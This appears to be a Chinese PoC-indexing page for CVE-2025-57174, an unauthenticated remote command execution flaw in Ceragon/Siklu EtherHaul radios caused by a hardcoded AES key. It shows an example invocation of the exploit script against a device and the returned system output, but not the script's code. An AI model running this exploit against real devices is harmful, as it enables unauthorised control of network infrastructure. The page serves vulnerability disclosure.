POC详情： 77a159a3c18b552781ed7ce00886980a7ee496e5

来源
https://github.com/semaja22/CVE-2025-57174
关联漏洞
标题： Ceragon EtherHaul series 安全漏洞 (CVE-2025-57174)
描述：Ceragon EtherHaul series是美国Ceragon公司的一款点对点无限链路设备。 Ceragon EtherHaul series 7.4.0版本至10.7.3版本及之前版本存在安全漏洞，该漏洞源于rfpiped服务使用硬编码静态AES加密密钥，可能导致未经身份验证执行任意命令。
描述
CVE-2025-57174 Unauthenticated Remote Command Execution
介绍
# CVE-2025-57174 - Siklu EtherHaul Series - Unauthenticated Remote Command Execution
CVE-2025-57174 Unauthenticated Remote Command Execution<br>
Affected Versions: Firmware 7.4.0 - 10.7.3 (likely all versions since 7.4.0)

How to use
```
python3 CVE-2025-57174.py 172.16.100.52 'simple-command show system' --nul --recv
Response: flag=0x00 msg=0x01 length=584
<end-code>ok</end-code><text>
system description               : EH-8010FX-L
system snmpid                    : .1.3.6.1.4.1.31926
system uptime                    : 0028:22:01:51
system contact                   : undefined
system name                      : EH-8010FX-L
system location                  : undefined
system voltage                   : poe (injector)
system temperature               : 47
system date                      : 2025.09.24
system time                      : 14:56:50
system cli-timeout               : 15
system loop-permission           : enabled
</text>
```

<img width="1420" height="772" alt="{5EB1C49C-5E07-479B-A00C-BFA12D08C721}" src="https://github.com/user-attachments/assets/c1ec87fa-ed57-4c76-83f3-61b7213fdf82" />
文件快照

 [4.0K]  /data/pocs/77a159a3c18b552781ed7ce00886980a7ee496e5
├── [4.2K]  CVE-2025-57174.py
└── [1.1K]  README.md

0 directories, 2 files
神龙机器人已为您缓存
备注
    1. 建议优先通过来源进行访问。
    2. 如果因为来源失效或无法访问，请发送邮箱到 f.jinxu#gmail.com 索取本地快照（把 # 换成 @）。
    3. 神龙已为您对POC代码进行快照，为了长期维护，请考虑为本地POC付费，感谢您的支持。